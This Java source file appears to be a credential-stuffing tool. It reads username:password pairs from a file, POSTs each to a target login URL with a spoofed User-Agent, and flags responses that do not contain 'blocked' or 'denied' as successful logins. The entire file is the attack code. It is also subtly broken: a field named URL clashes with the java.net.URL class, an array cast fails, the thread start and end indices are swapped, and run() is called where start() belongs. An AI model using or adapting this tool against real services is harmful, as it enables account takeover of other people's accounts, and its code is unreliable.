package application;

import java.io.BufferedReader;
import java.io.DataOutputStream;
import java.io.File;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.URL;
import java.nio.file.Files;

public class Application {
    private static final String FILE_NAME = "";
    private static final String URL = "URL";
    private static final String USER_AGENT = "";
    private static final int COUNT_OF_THREADS = 5;
    private static String[] LINES;

    public static final void main(String[] args) {
        try {
            LINES = (String[]) Files.readAllLines(new File(FILE_NAME).toPath()).toArray();
            int sizeOfBlock = LINES.length / COUNT_OF_THREADS;
            for (int i = 0; i < sizeOfBlock; i++) {
                new Application().new MyThread(sizeOfBlock, sizeOfBlock * i).run();
            }
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    private class MyThread implements Runnable {
        private int startPosition;
        private int endPosition;

        public MyThread(int startPosition, int endPosition) {
            this.startPosition = startPosition;
            this.endPosition = endPosition;
        }

        @Override
        public void run() {
            for (int i = startPosition; i < endPosition; i++) {
                try {
                    HttpURLConnection urlConnection = (HttpURLConnection) new URL(URL).openConnection();
                    urlConnection.setRequestMethod("POST");
                    urlConnection.setRequestProperty("User-Agent", USER_AGENT);
                    urlConnection.setRequestProperty("Accept-Language", "en-US,en;q=0.5");
                    String urlParameters = "username=" + LINES[i].split(":")[0] + "&password=" + LINES[i].split(":")[1];
                    urlConnection.setDoOutput(true);
                    DataOutputStream output = new DataOutputStream(urlConnection.getOutputStream());
                    output.writeBytes(urlParameters);
                    output.flush();
                    output.close();
                    BufferedReader input = new BufferedReader(new InputStreamReader(urlConnection.getInputStream()));
                    String inputLine;
                    StringBuffer response = new StringBuffer();
                    while ((inputLine = input.readLine()) != null) {
                        response.append(inputLine);
                    }
                    input.close();
                    if (response.indexOf("blocked") == -1 && response.indexOf("denied") == -1) {
                        System.out.println("itt valami jó volt");
                    }
                } catch (MalformedURLException e) {
                    e.printStackTrace();
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
        }
    }
}